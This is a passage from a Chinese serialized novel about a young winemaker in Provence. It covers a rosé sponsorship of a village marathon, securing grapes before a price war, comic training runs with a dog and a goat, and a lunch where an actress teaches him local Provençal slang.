也正是因为这件事的出现,布兰科才推动起卢尔马兰第一个大型活动的落地。 虽然模式和内容不同,但卢尔马兰的特色马拉松赛需要达成和山羊赛跑大赛一样的目的——一项完美符合普罗旺斯人兴趣和爱好的地方赛事。 不过在这之上,还多了一层魅力——吃吃喝喝。 这个属性在山羊赛跑大赛中并不突出。 “如果斯特斯加要赞助,可以得到哪些权益?”罗南冷静下来问。 那个年代,营销和赞助的概念虽然存在,但没有系统化也没有规模化,尤其在卢尔马兰这样的小乡村,赞助权益是双方聊出来的。 “我们只会在补给点提供免费的水,如果斯特斯加赞助,会在每一个补给点提供免费的粉红酒。”布兰科平摊双手,“你知道的,普罗旺斯人无酒不欢,在水和酒之间一定会选择后者,我恐怕这是一个非常好的普及粉红酒的机会,说不定有不少人,比赛还没结束就爱上这种平时不注意的东西。” 粉红酒在普罗旺斯最大的阻碍是——无法大面积普及。 许多人对它有歧视,根本不愿意给它一个机会。 但我们现在设想一个场景。 8月份,炎炎夏日,你使出吃奶的力气跑了1-2公里,前方终于出现了一个补给点,可以让你喘一口气。 美丽的体育宝贝将一杯水和一杯冰镇的、诱人的粉红色液体递给你,让你自己选择。 那么现在我请问,你是会选冰镇粉红酒,还是冰镇粉红酒呢? 经过20多个补给点的感情培养,你又会不会对这个给你带来了凉爽和好心情的粉红色液体一些不一样的评价? “每一个都可以有?”罗南确认道。 布兰科点头: “每一个补给点都可以有,而且不只有酒,还有斯特斯加名字的露出,就像你参加其他活动时看到的一样。” 罗南参与过的普罗旺斯活动可能比布兰科还多,布兰科相信罗南知道他指的是什么东西。 马拉松是按照普罗旺斯人‘xp’设计的,一定会吸引来许多本地居民,曝光量值得信任,同时还能给粉红酒一个很好的普及机会罗南完全没有拒绝的理由,唯一的问题是—— “赞助价格呢?”罗南直白的说,“我需要留下足够的资金收葡萄,太多我承担不起。” 布兰科露出慈祥的笑容: “斯特斯加是卢尔马兰的客户,可以得到些特殊待遇。” “比如?”罗南惊喜的问。 布兰科停顿了好久,似乎在思考什么,想明白之后才回答: “比如你可以用实物来抵赞助费,这次马拉松赛期间一定会消耗掉不少酒,全部可以折算进去,除此之外,你再送来一些给我们‘应酬’使用。” 用实物抵押赞助款项大大的减轻了罗南的经济压力,但斯特斯加目前无法提供这么多的货品。 “我只能提供赛事前后的货品,其他的.”布兰科已经给出了足够的诚意,罗南有些不好意思讨价还价,“其他的能不能等我收完今年的葡萄再给你?” 布兰科想都没想就点头: “没问题,那两箱新的高端酒也折算进去啊。” 和布兰科谈好了权益,罗南去楼下找希尔维把合同签了。 合同规定,斯特斯加提供15万法郎的货品,加入到卢尔马兰马拉松活动当中去,身份为‘赛事官方葡萄酒提供商’。 签完合同,希尔维‘气势汹汹’的上楼来找布兰科: “你在会上说过,拒绝一切客户用实物抵赞助款项的提议,怕传出去显得我们的赛事不够高级,在这一步先把那些阿猫阿狗客户排除出去.但你为什么给罗南开这个口子啊?” 布兰科抬头看了一眼,语气平静的说: “不想给罗南太大的压力。” 他少要一分,斯特斯加就能多收一分钱的葡萄,罗南第一年接手酒庄,不能让他紧紧巴巴的过日子吧? 后面用钱的地方多了去了。 “但我们现在压力大了!”希尔维仰天长啸,“我们要那么多酒干什么用啊?” 普罗旺斯习惯用6瓶装的木箱存放葡萄酒,而斯特斯加一瓶酒才25法郎想要还请欠款,将整个一层办公楼拿出来堆放货品都不够用。 卢尔马兰政府加上实习生也不过20多个员工泡澡也用不了这么多酒啊。 布兰科用开玩笑的语气说: “不要小瞧罗南,说不定明年斯特斯加的酒贵到我们都喝不起了好了,别激动,办法总会有的,去工作吧。” 希尔维骂骂咧咧的下楼: “粉红酒还能贵到我喝不起?哼,等着搬酒回家洗澡去吧!” 第561章 艰难的价格战! 签订完卢尔马兰马拉松赛的赞助合同,罗南的心暂时放了下去。 围绕瓶身做文章、围绕酒本身做文章、围绕品牌做文章这‘三板斧’砸下去,斯特斯加与‘高端’属性的关联总算是建立了起来,为转型之路铺垫好了前提条件。 但这三条路径并不是罗南全部的手段,还有几个他有了大致的思路,只是还没有想好具体要怎么办。 其中一个是围绕地块做文章。 巴黎老乡伯纳德在他的酒庄中启用了‘地块分级’制度,将不同土壤种植出来的葡萄酿制出的葡萄酒定成了不同的价位,玄武岩的地块标价最高。 伯纳德说,波尔多的先锋酒庄早在十几年前就认证了这套逻辑可行,顾客们愿意为此买单。 罗南将收来的几公顷北坡葡萄田做了土壤改良,那里是卢尔马兰附近唯一的一块黏土-石灰岩混合土壤,这绝对值得大做文章。 只是怎么做,如何做,罗南还没想明白。 也许需要再次和伯纳德见个面详细了解。 而斯特斯加向高端酒庄转型的另外一个有效手段,正好也能和这次见面关联上。 “如果我也进入到了‘巴黎新酒农’的行列,斯特斯加马上就会被打上高端的标签——”回家的路上,罗南在心里盘算起来,“这比花钱打广告还要有用,行业内的人都知道,‘巴黎新酒农’深耕普罗旺斯高端葡萄酒线。” ‘巴黎新酒农’没有参加教皇新堡的葡萄酒拍卖会,西奥多尔对此的解释是,这帮来普罗旺斯发展的巴黎佬很抱团,也很排外,他们自己组织了一个新酒庄联盟,极少和普罗旺斯其他葡萄酒团体有交集。 如果是这样的话,罗南想被冠以‘巴黎新酒农’的身份只能通过伯纳德,而想要见到伯纳德,又需要略伦特引见因为罗南没有和他留过联系方式。 略伦特为卢尔马兰马拉松赛出了不少力,活动之日他一定会出现,罗南决定,就在马拉松比赛那天和他提见伯纳德的事。 但无论是地块分级制度,还是‘巴黎新酒农’的身份都不是可以操之过急的事,需要从长计议,还有一些缓冲的时间。 斯特斯加目前最着急要做的,是把明年的产量提上去。 餐酒市场有所突破,罗南对高端粉红酒市场信誓旦旦,今天又突然多出了15万法郎的‘欠款’.这些酒都要靠地里的葡萄‘变’出来。 而想要用‘美丽’的价格收到更多更好的葡萄,需要皮埃尔这个农夫头子出面帮忙了。 离开卢尔马兰政府,罗南直接去了老酒馆。 7月底,农忙处于中场休息阶段,可以稍微喘一口气,安心等待9月份丰收的到来。 老酒馆白天同样‘一座难求’,但依然有农夫站在门口喝酒聊天,罗南知道,在那里一定可以找到皮埃尔。 果然,还没看到老酒馆的门面,先听到了皮埃尔的说话声。 仔细一听,居然是在抱怨。 “该死的,这些游客怎么还不离开?靠近吧台那桌客人坐了快两个小时,杯子早就空了,但还是不肯抬起那宝贵的屁股!” 皮埃尔抱怨过后,又出现了几道声音,语气同样的抱怨满满。 农夫们可以容忍在烈日下干几个小时的农活,也可以容忍在酷暑下挥汗如雨一整天但就是无法容忍没有一个舒服的场合让他们喝酒聊天。 但这样的日子已经过了三四个月这些人快崩溃了。 罗南走到老酒馆的门口,笑着和伙计们打招呼: “都在啊。” 皮埃尔用食指不停点罗南的方向,同时生气的说: “看看看看,餐厅老板都被挤出来找喝酒的地方了,罗南,我都忘记了上次坐在你餐厅里喝酒是在几月份。” 法比安脱口而出: “3月初,那之后罗南的餐厅就开始有人排队,咱们再也抢不到桌子。” 要知道去年冬天,罗南的餐厅是靠农夫和艺术家们一杯酒一杯酒、一块蛋糕一块蛋糕撑起来的.那里是这两个群体绝对的根据地。 但这一切随着旅行季的开始全部结束.农夫们回到了人流量更少的老酒馆,本村艺术家也聚集到了艺术谷仓的附近,很少去餐厅吃饭了。 罗南保证道: “等我在商业街上的新餐厅开起就好了,那里面积比现在的这个大将近一半,而且三层全部是座位,我还提前给你们留了专属区域。” 法比安的口腔中不争气的分泌出了唾液,他想念罗南婚礼上的‘中式’味道了: “那你的新餐厅什么时候开业?” 罗南回忆了一下在婚礼上和那位名叫索莱娜的设计师的对话细节,回答道: “9月份应该可以开起来。” 佐伊的这位设计师朋友,将承担新餐厅和甜品烘焙店的装修任务。 婚礼上,罗南和她畅聊了一番,毕竟都是‘同行’嘛。 结果发现这位设计师除了贵没有任何毛病施工团队的效率有保障,绝不比卡福差,罗南想要的感觉她也能很快理解下来。 后来罗南又把卡福叫来,三个人聊了一下。 卡福从卢尔马兰政府那里拿到了新商业街竣工的几个关键节点时间。 根据卡福提供的信息,8月初施工队就可以进入商业街二期和三期施工,只是在那之前要去政府签订一份施工安全协议,并接受安全培训,因为外面的道路也在同步施工。 根据新拿到的时间节点和人效结合预估,卢尔马兰手工艺合作社这个新商业街上最大的商铺要等到10月份才可以投入营业。 但面积较小的餐厅和甜品烘焙店可以在9月完成装修,抓点紧能赶上一个旅行季的小尾巴。 事实上,像罗南这样‘大费周章’装修的老板少之又少,许多商铺会在二三期商业街全线落成后的不久便投入使用,就比如卡福买下的那个。 他妻子的眼镜店8月底就可以开起来。 而卡福从市场中心打听到消息,比他们更早开业的人还大有人在。 也就是说,8月中下旬起,卢尔马兰要陆续开业四十多个新商铺,商业规模扩大了一倍,里面吃的喝的用的玩的一应俱全。 到了那个时候,别管是没有地方喝酒,还是等不到位置吃饭,亦或者是买不到面包.一切一切的‘危机’都将迎刃而解。 不过罗南‘悲观’的认为,这个缓解只是暂时的。 游客们走了,卢尔马兰发展的脚步却不会停下来。 卢尔马兰将会是整个吕贝隆步子迈的最大的村落不要忘记,罗南和卢尔马兰已经盯上了冬季旅游这片巨大的蓝海。 随着卢尔马兰夏季、冬季旅行两开花,随着知名度提升,随着经济的腾飞,新的‘危机’很有可能会在下一个旅行季再次到来。 以我们的好邻居梅纳村为例,它在十年间扩建了整整4倍,并且直至此时还没有停下来。 罗南不希望农夫和艺术家们每年都过的‘颠沛流离’,特意嘱咐罗天海,在装修的时候给这两伙人留了专属区域。 别管卢尔马兰以后有多热闹,规模扩大多少倍,又遇到了什么危机,他们再也不会‘无家可归’。 听到罗南在新餐厅给大伙留了专属的区域,农夫们一个个笑的比普罗旺斯的大太阳还灿烂,虽然罗南现在成了老板,不再亲自种地,但他们依然是亲密无间的伙伴! 聊了一会商业街的话题,又听农夫们吹了一会牛逼,罗南进入老酒馆,找科莫要了一杯冰镇粉红酒,之后再次站回到刚刚的地方,和农夫们打成一片,看起来不像要着急离开的样子。 皮埃尔擦了一把胡子上的啤酒沫,坏笑着问: “刚结婚两天,不去抱着新婚妻子睡觉,反到和我们这些臭男人打成一片,你疯了是不是?” 罗南扬起手里的酒杯: “佐伊在工作室闷头工作呢,她忙得很,月底要去参加艺术展。” 佐伊是斯特斯加的老板娘兼会计,按理说全体大会她也应该参加。 但婚礼前后耽误了她太多的时间,今天早上天一亮就起床去工作室,要知道昨晚他们奋战到很晚很晚。 当然了,罗南也没有闲着。 “你不忙吗?”法比安指着斯特斯加所在山坡的位置说,“我听康奈尔说,你们上午开会了?而且刚刚特奥也来这里喝了一杯,说明天要和卢卡斯去阿维尼翁出差。” “忙啊,我忙的要死。”罗南喝了一口粉红酒,摇着脑袋说,“一早起来去斯特斯加开会,之后去政府签合同,现在来找你们聊正事,一刻没有停下,你说我忙不忙?” 皮埃尔好奇的看过去: “你找我们聊什么正事?” 大家不是在喝酒聊天吗? 罗南一把勾住皮埃尔的脖子,用一种‘你绝对不能不管我’的语气说: “今年你们绝对不能把葡萄卖给莫力酒庄,留给我听到没有?新酒还没开始酿,我就欠了一屁股债.我缺葡萄啊!” 卢尔马兰种植的葡萄向来都是卖给莫力酒庄,也就是之前的莫力酿酒合作社,论市场占有率,莫力绝对是卢尔马兰的‘扛把子’,90%以上的村民喝的都是他们的红白葡萄餐酒。 今年年初的寒潮让卢尔马兰的葡萄大幅度减产,拔腾计划又让产量少了一大块,今年秋天的葡萄价格一定会疯长。 到时候,莫力一定会和罗南打价格战。 但罗南很有可能打不过莫力,虽然省吃俭用,斯特斯加账面上的资金已经不多了。 他和佐伊盘算过,9月他们有可能要用个人账户支援斯特斯加。 如果这还不够,罗南就要去银行贷款了。 为了打赢这场价格战,除了提早准备好资金,农夫这里也要提前做些铺垫。 皮埃尔没有直接回答是或否,也没有直接表态,因为他无法做一个村子农夫的决定: “我想到这件事了,如果你在卢尔马兰收不够足量的葡萄,去别的地方收更麻烦,成本也会增加我会时刻关注着市场价格和莫力那边的动静,有情况马上通知你。” 皮埃尔有两幅面孔。 没事干的时候,比谁都闹,恶作剧起来没有下限。 但有正事的时候,又会变身成靠谱的老大哥,每个人的心都操。 罗南说完了收葡萄的事,他便没有了喝酒的心情,喝完手里这瓶啤酒提前离开了,也不知道要去干什么。 皮埃尔离开后,这帮农夫偷偷跟罗南‘告状’。 “其实不用你说,皮埃尔早就想到斯特斯加秋天收葡萄的事情了在私下里不止一次给我们‘洗脑’。”法比安压低声音说。 “洗脑?洗什么脑?”罗南意外的问。 法比安笑着说: “还能洗脑什么,洗脑让我们秋天把葡萄卖给你呗他说你不容易,如果价格差的不太大,还是卖给斯特斯加更好。” 另外一个农夫用开玩笑的语气说: “皮埃尔还说,说不定哪天我们就不再种地,去你手下干活儿去了,你的买卖那么大,总有缺人的时候,帮你就是帮自己。” 法比安叹了一口气,看向皮埃尔离去的方向: “这个人呐,心事重得很,你这么一提,他更把这件事放心里.肯定给你想办法去了。” 罗南听完农夫们的话,心里不是个滋味,去皮埃尔家找他。 但他妻子说皮埃尔没有回家,也不知道他去哪儿了。 下午卢卡斯来罗南家接狗。 明天他和特奥的阿维尼翁之行要带着玛格丽特一起,做为‘赘婿’,小黑也得一同前往。 小黑跟着玛格丽特轻车熟路的跳上了卢卡斯的皮卡车,似乎已经习惯这种两地居住的生活状态。 “你小子可以啊,都走出吕贝隆,去大城市开眼界了。”罗南把一袋罗天海做的肉干放到车里,哭笑不得的摸了摸它的脑袋。 卢卡斯坐上了驾驶位,但没有着急打着车子: “艾米丽和吉拉尼很久没有在卢尔马兰过过夏天,可能有些不习惯,如果遇到了生活问题,我让他们来找你。” 卢卡斯的妻子和儿子在这个月终于搬回到卢尔马兰,他们也出席了罗南和佐伊的婚礼。 特奥要跟着卢卡斯一起出差,无法替哥哥照顾家里,卢卡斯只能求助罗南。 罗南拍了拍车门,示意他别担心: “放心,我会照顾好他们。” 卢卡斯扬了下手,打着车子,开车离开。 目送车子消失在葡萄园尽头,罗南回身走向正在撒尿的马赛: “今天不哭不闹了?” 马赛也习惯了哥哥半个月在家,半个月消失的状态。 一点都没因小黑坐上汽车扬长而去而伤心,没心没肺的窜来窜去,跟个多动症似的。 罗南背着手从马赛身边路过,向后院的方向走去: “精力这么旺盛,跟我备赛去吧,我再给你找个羊作伴。” 第562章 今天又要cos什么? 罗南从未想过自己有朝一日会参与马拉松比赛。 从法国体育台里看,只有那些精瘦、黝黑、身上没有任何赘肉的家伙才可以参与进这项比拼意志力的赛事。 但这天早上,他洗漱完毕,站在镜子前认真打量自己——原本白皙的皮肤变成了小麦色,不用特意为之,肩膀和手臂上都有了清晰流畅的肌肉线条,再低头看下去,腹部平坦。 原来搬到普罗旺斯改变的不止是他的人生和生活习惯.同时还有身材。 这得益于去年的种地经历,和今年的‘减肥’之旅,时至今日,罗南仍然保持着每天运动的好习惯,即使举办婚礼那天都没有停下来。 不知不觉间,他拥有了和法国体育电视台中那些马拉松选手一模一样的外形。 卢尔马兰的马拉松赛不是普通的马拉松,那是专门为普罗旺斯人所定制而成的,罗南相信,这项赛事一定会吸引来许多当地人的关注。 旅游业的兴盛,让粉红酒以地方特色的形式进入了外地人的视线。 但如何让本地人,尤其是除了海边以外的本地人多多的关注过来,始终是罗南和斯特斯加要面对的大困难。 这次在卢尔马兰举办的马拉松就是一个很好的解决方案。 如此千载难逢的机会,罗南自然不想浪费。 无论是斯特斯加还是他本人,都将成为一个移动的广告牌,在比赛当天‘闪耀’卢尔马兰! 所以这次马拉松,他必须要参加。 而且为了收获更多的关注度和目光,他还得比出风采,比出成绩来。 但他完全不清楚自己能不能跑完全程虽然以前每天都跑步,但从来没有跑过40公里那么远。 “你不多睡会吗?”佐伊进入卫生间,打断了罗南的‘自我欣赏’。 罗南帮佐伊挤好牙膏,再将粉色马克杯内倒满清水: “今天夏洛特要去编织大院,我要早点去做些准备。” 最近上了不少新的家具款式,夏洛特要来看看。 佐伊在罗南的侧脸上亲了一下,以感谢他的体贴,随后将牙刷放到嘴里,有些不理解的问: “那也不需要起这么早吧?现在还不到6点。” 佐伊最近在赶工,每天起早贪黑,不想打扰到罗南,蹑手蹑脚的起床,结果发现身边居然没有人了。 罗南虽然也很忙、日程满满,但不应该起这么早才对。 罗南在佐伊的额头上亲了一下,转身离开: “今天要带马赛和呼呼跑更远的距离,怕路上出什么特殊情况,要预留出一些解决突发问题的时间,我去做早饭,阿兰昨天送来了山核桃黑麦面包,吃它可以吗?我再搭配些牛奶和橄榄。” 佐伊追着罗南出了卫生间,虽然嘴里满是牙膏沫,却还是语速飞快的说着: “你不要再带马赛和呼呼一起出去了行不行?昨天下午你们在葡萄园里‘追跑打闹’,狗叫声,羊叫声,人叫声吵得我心烦意乱,完全没有心思工作,满脑子都是你们三个扭打到一起的画面。” 罗南带着羊和狗出去跑了大半个月,但这两兄弟的关系没有任何缓解,只要一碰面就会叫个没完没了,其中还会夹杂着罗南的怒吼。 以前佐伊不住这里,听到村民们讨论这件事,觉得罗南好可爱啊,脑洞好大,居然能想到这么有‘才’的处理办法。 就算无法缓解呼呼和马赛的关系,但至少他能落下一个好身体,不是吗? 你看,卢尔马兰政府都邀请他去参加马拉松赛了。 现在她搬到了新家,经历了几天‘羊犬不宁’的日子,只想把罗南打死! 这是什么荒唐的解决办法啊! 你们快点给我停下来!! 罗南一边下楼一边道歉: “抱歉抱歉,所以今天我带它们跑远点,保证不打扰到你工作。” 楼上传来佐伊的怒吼: “我的重点不是你们影响了我工作,而是让你们三个分开!你不要再同时遛狗和羊了,听到了没有罗南?!” 罗南嬉皮笑脸的回: “听到了听到了,你说早饭再煮几个鸡蛋。” 罗南不想圈养呼呼,但这个小家伙太喜欢出去遛弯,好几次它都趁人不注意,跑去了距离家很远的地方,村民指路,罗南才把羊逮回来。 但这毕竟是让罗南和佐伊赚了十万法郎的‘大功臣’,打不得骂不得。 按照呼呼的岁数,还能再比好几年,罗南也能跟着它风光几年。 罗南让亨利带着几个伙计,围着整个后院做了一圈围栏——这便是呼呼的‘羊圈’。 但这么大的活动范围还是无法满足呼呼想要呼吸自由的心情。 一到每天早晚两次遛羊的时间,它早早的在边缘等待。 见到罗南马上欢快的嗲叫,一看到罗南身边的马赛.又把羊角露出来。 马赛也是一副欠揍的样子,知道呼呼这个时候还出不来,贴着它的脸狂叫不停,但只要罗南一把围栏打开,这小子又跑得比谁都快。 罗南怕叫声被佐伊听到,迅速拉开了围栏: “我劝你们今天都省着点力气,马拉松是42.195公里,我今天打算先跑个一半,你们谁都不许掉队,快快快,跟上来,跟上来!” 狗是一种很神奇的动物,看到熟悉的人跑,一定会跟上去,很少有例外,它认为这是人类在跟它玩。 羊也是一种很神奇的动物,看到身材比自己弱小的仇人跑,一定会追上去,很少有例外,它认为早晚有一天能把这个小逼崽子顶烂。 “爸爸爸爸,罗南叔叔又开始晨练啦!”距离罗南家几百米的地方,安娜蹦蹦跳跳的去给爸爸汇报情况。 特奥将女儿抱起来,站在窗边一起欣赏: “你别说每天不看一会罗南被狗和羊追,总觉得少了点什么似的,安娜,爸爸去艾维尼翁的这几天,你替爸爸看着他们,每天通电话的时候记得给我讲讲罗南叔叔有没有被咬到,记住了吗?” 安娜小手用力的挥舞了几下,似乎在替罗南用力,生怕他被咬到: “记住了!” 康奈尔正在梦里和阿斯特丽德贴面热舞,这位女士不仅身材火辣,行动更加火辣,跳着跳着,她从身后抽出一把皮鞭,无情的抽打到了康奈尔的屁股上。 “哈哈,再打再打。”康奈尔嘴角噙着笑,脸上出现了不正常的红晕。 “快点起来吧,别睡啦!”康奈尔的姐姐又抽了一下弟弟的屁股,“罗南都带着狗和羊跑到卢尔马兰城堡了!” 康奈尔迷迷糊糊的睁开眼睛,意犹未尽的伸了个懒腰: “跑到城堡了?今天跑那么远,是不是马赛和呼呼失控了?” 康奈尔的姐姐摇头离开弟弟的屋子: “想要看热闹就赶紧起床,巴蒂已经带着人追了过去,他们打赌罗南今天一定会被咬到。” 康奈尔拿起衣服马上往外跑: “啊?我和皮埃尔赌的是罗南能撑到这个月底。” 罗南在前面跑,马赛在后面追,后面还跟着呼呼这大半个月来,这一幕每天都会出现在卢尔马兰。 村民们不约而同的认为,罗南迟早有一天会被狗和羊好好收拾一顿,只是或早或晚。 如果真有那一天,大家清晨的乐子可就没了,所以每天早上罗南晨练的时候总会有一群人会追过去看,还有许多人打赌,赌罗南能坚持到哪天。 做为罗南的妻子,佐伊同样在关注着新婚丈夫的晨间运动。 自从罗南离开家,每工作一会,她就要去窗户旁边站一会,看看他们是否回来。 虽然罗南无数次的解释——上次受伤是个意外,呼呼和马赛绝对不会伤害到自己,而且他这样做,是为了彻底解决两兄弟之间的矛盾吧啦吧啦。 但佐伊还是认为,她必须制止罗南继续这样做。 抛开每天它们碰面时发出的那些噪音不谈呼呼和马赛的关系,怎么可能通过这种方式而缓解呢? 早上8点多,佐伊依然没有等到罗南归来,她决定今天必须找他认真的谈一谈,不是早上那种,而是要拿出做妻子的‘气势’来。 过了一会,正在工作的她听到远处传来喧哗之声,而且这声音正渐渐向她靠近。 担心罗南出了事,她放下工作来到门外,愕然发现——罗南和几个农夫出现在了葡萄园外,他们的身边跟着马赛,却不见呼呼的影踪。 “呼呼呢?”佐伊远远的问,心跟着揪了起来。 罗南让开身子,露出他身后几个农夫手里抬着的呼呼,哭笑不得的回: “跑了十公里就耍懒不跑了,我只能找人帮忙把它抬回来,我今天本来打算跑20公里,只跑了一半。” 幸亏每次都有人去围观,要不然罗南还真不知道怎么办了。 巴蒂跟在他们身边,笑的前仰后合。 今天的乐子可大了去了,他现在脑海里还在回味罗南鼓励呼呼‘加油站起来’时的搞笑画面: “你可真是个人才啊,羊都跑不过你。” 罗南很谦虚的说: “大部分羊都不是耐力型选手,十几公里是它们的极限。” 其实这个常识罗南一直知道,但他不清楚自己能跑多远。 没想到今天这么一试.羊倒在了他的前面。 正在抬羊的法比安愤愤不平的说: “该死的,我本来是去看热闹的,现在却成了你的苦力,这羊多少斤啊,怎么这么重。” 佐伊快步跑过去查看情况,发现呼呼还有力气吃康奈尔手里的草,而且被人抬着跟个‘大爷’似的.看起来没有什么问题。 可能就像罗南说的那样,它就是在‘耍懒’,聪明的呼呼可不会把自己累死。 紧接着,她又去查看马赛的情况。 马赛还能自己走,就是一直吐着舌头大喘气,看起来问题也不大。 农夫们将呼呼抬回到后院,很快离开,这个时间该去工作了。 人走后,佐伊严肃的对罗南说: “我想认真和你谈谈——” 罗南几乎和佐伊同时开口,他指了指趴在地上的呼呼,又指了指几米外同样趴在地上大喘气的马赛问: “你没发现吗?” 佐伊皱着眉毛反问: “发现什么?你不要再用这些把戏了。” 每次她提这件事,罗南都会用小把戏把话题错开。 不限于装听不懂,装听不见,讲笑话,堵住她的嘴和出卖色相等等。 但这一次,佐伊不会再妥协了! 罗南笑着说: “你没发现,咱家变安静了吗?” 佐伊反应了几秒,终于明白罗南在说什么。 她惊讶的低头,看向一狗一羊。 对啊,今天怎么这么安静? 之前,它们两个只要一见面,家里就‘羊犬不宁’的,叫的她心烦意乱。 罗南蹲下去,露出‘恶魔’一般的微笑,摸了摸呼呼的羊角: “我已经知道你的极限在哪里了。” 之后,他更加‘恶魔’的对马赛说: “它倒下了,下一个是你,这周20公里,下周30公里,下下周全马我们慢慢试。” 说完,罗南抬头笑着问佐伊: “亲爱的,你刚刚想说什么?” 佐伊嘴巴长长合合好几下,最终也露出了微笑: “早饭很好吃,谢谢你亲爱的。” 幸亏罗南起得早,打出了富裕的时间来应对突发情况,要不然他都赶不及在夏洛特到来之前赶到编织大院。 最近卢尔马兰手工艺合作社的订单量平稳了下来,没有刚拿到‘荆棘烈焰’勋章那段时间那么火热,不过比之前还是有了巨幅的提升。 而之前积压的那些订单,也在近期陆续的交付。 虽然还没到算帐的时间,但罗南知道7月一定‘赚大’了,并对此非常自信。 最近妇女们忙了不少,室内的卫生保持的不错,但院子里卫生什么的没有之前做的那么及时,大面看起来还不错,但不能注意细节。 今天大客户夏洛特要来,罗南一早过去带着人把卫生里里外外的做了,又把新款式过了一遍,好在今天给她着重讲解。 但时间一分一秒过去,都到了快午饭的时间,还是不见我们的大明星出现。 可昨天,她通知罗南说的是‘一早就去’。 正在罗南站在门口思考,是不是自己记错了日子的时候,一个农夫模样皮肤黝黑的本地人与他擦肩而过。 不知道是不是错觉罗南似乎看到这位老兄对自己抛了个媚眼? 紧接着,他身后出现一道带着笑的声音: “我已经看完新品啦,餐厅见。” 罗南猛地扭头,看向那位老兄的背影。 上帝,他居然忘记大明星喜欢玩‘cosplay’了! 第563章 普罗旺斯土语小课堂 罗南在餐厅里见到了一席本地农夫装扮,除了五官过于俊美、忍不住让人多看几眼,其他完全看不出破绽的夏洛特。 “为了找一个座位,米莱娜上午10点就来占座位了。”夏洛特斜靠在椅背上,劈着腿大大咧咧的翻看菜单,“看哪个都想吃,很难抉择啊,罗南,你来推荐几道菜。” 米莱娜是夏洛特的助理。 由于她承担起了来罗南的中餐厅占座的职责,无人陪伴的夏洛特又玩起了‘角色扮演’的游戏,独自去编织大院看家具,并乐在其中。 罗南盯着夏洛特的一举一动看了一会才开口: “你今年的工作重心真的只是发新专辑吗?我怎么觉得,你的重心更倾向于表演呢?” 夏洛特模的农夫非常传神,完全到了以假乱真的地步,而且不止动作像,神态更像,只能说这位影视音乐两开花的明星拿捏住了这个群体的内核。 米莱娜笑嘻嘻的说: “夏洛特最会观察生活了,我也觉得她学什么像什么。” 罗南收起菜单,去后厨给她们准备食物: “你下次模仿我吧,我想看看和自己对话是什么感觉的。” 罗南只是开玩笑,夏洛特却摇头晃脑的比了一个ok的手势: “那我得先观察观察你,快去帮我们安排食物,我真的要饿死了!” 夏洛特一直闹饿死了,罗南便给这桌安排了满满一桌子。 结果这位女明星每样吃了一两口便拍着肚子说撑死了撑死了,和她所模仿的农夫的胃口完全是两个层次的。 两个女孩的战斗力实在太差劲,夏洛特便邀请罗南一起坐下吃,这样她也好认真观察一下,下一次的模仿对象了。 罗南不知道夏洛特要如何‘观察生活’,一味的闷头吃饭。 看了一会,夏洛特拿起一根牙签放到嘴里,和吃完饭的本地农夫一样一样的: “你像鱼干一样瘦。” 罗南嘴里的食物差点喷出去,夏洛特在观察生活时也没有忘记自己的‘人设’。 ‘像鱼干一样瘦’是一句普罗旺斯土语,常出现于本地底层人之口,农夫们尤其喜欢使用,意思是太瘦了。 这些土语文法不正确,甚至很多词汇都非常粗俗,但往往生动、好玩,偶尔还富有智慧。 从夏洛特嘴里听到普罗旺斯‘土话’让罗南感觉这个世界太神奇了,这很难和舞台上那个魅力四射、迷得无数男男女女神魂颠倒的女星联系到一起去啊。 这感觉就像是冯珍在那个年代最喜欢的中国电影明星周润发,张口闭口‘你个山炮’、‘瞅你咋地’似的。 罗南笑着点头: “是,这几个月每天跑步,瘦了不少,我也觉得自己有些瘦得过头了。” 夏洛特一边转动嘴里的牙签,一边上下打量罗南: “你今天和之前有些不同,你今天‘踢衣橱了’。” ‘踢衣橱了’同样是一句本地土话,放在这个语境里,意思是——罗南今天打扮了自己,穿的衣服很有讲究。 罗南幸福的扬起嘴角: “结婚以后,每天我的妻子都会帮我搭配好衣服,跟单身汉时期肯定有所不同。” 夏洛特皱起眉头: “你结婚了?为什么没有通知我?” 罗南哭笑不得的说: “你想让我的婚礼乱成一锅粥吗.我的大明星?如果你到场,没人看我和佐伊,所有人关注的都将是你了。” 夏洛特把牙签吐出来,生气的双手抱胸: “我可以乔装打扮啊,你觉得我的演技不够好,会让他们看出端倪么?上帝,我居然错过了一个观察生活的重要机会,你知道婚礼可以给人带来多少灵感吗?” 罗南笑着给她倒了一杯酒: “其实我和佐伊想找一天去你的新家拜访,没想到你先来了一步,我们有许多朋友因为这样那样的原因不能出现在婚礼上,为了弥补这份遗憾,我们亲自制作了一些小礼物。” 按照普罗旺斯习俗,婚礼举办后,新人会登门拜访一些重要的宾客,并送上精美的礼物。 罗南和佐伊有不少明星朋友,这些人都不方便出席在婚礼上,所以到‘回礼仪式’时,这些名字也加入了名单之中,夏洛特的名字赫然在列。 夏洛特听到‘亲自’这个单词,放下手臂,前倾身体问: “什么样的小礼物?” 罗南笑着说: “佐伊亲自烧制的器具,外面的包装盒是我用藤蔓做的你应该知道佐伊做的器具在市场上是什么行情吧?现在还生气么?” 夏洛特兴奋的拍了一下桌子,哈哈大笑着说: “你这家伙‘屁股被缝合了’吧?我什么时候生气了,刚刚跟你开玩笑呢!” ‘屁股被缝合了’同样是土语,意思是某人生来就没有幽默感。 在法国北部,同样的意思会被说成‘紧屁股’。 罗南耸肩,遗憾的说: “但你今天不能拿走那份礼物,你什么时候搬过来?我和佐伊给你送过去。” 普罗旺斯是一个注重礼数的地区,婚礼还礼需要新郎和新娘登门拜访,今天这个场景并不正式。 夏洛特在卢尔马兰的大庄园已经进入了装修的尾声,今天去编织大院是去‘查漏补缺’,刚刚她给罗南报了几个编码,等这些家具制作完毕送过去,夏洛特的房子就彻底完工了。 夏洛特立即让助理米莱娜查看日程,和罗南约定了一个八月初的日子: “来来来,带着佐伊一起过来,我好好招待你们。” 罗南笑着拍了下手: “那我可就不客气了,我太好奇小吕贝隆最贵的庄园是什么样子的了。” 午饭吃的相当轻松,也可以说罗南是上了一节普罗旺斯当地‘土语’课。 夏洛特嘴里的土话有许多连常年和农夫们厮混在一起的罗南都没听过。 比如‘大发地盘’,是形容某位迷人的女性拥有一个性感丰腴的屁股。 ‘碰一碰五条沙丁鱼’的意思是握手。 ‘归还袜子’是诅咒某人该死。 ‘上帝睡着了’是指代某人撞上了不配拥有的好运。 吃完饭,罗南将夏洛特和米莱娜送出餐厅,刚走没几步,米莱娜说有东西忘记在了餐桌上,返回去取。 闲来无事,罗南问出了心中所想: “那些土语你都是从哪里学来的?” 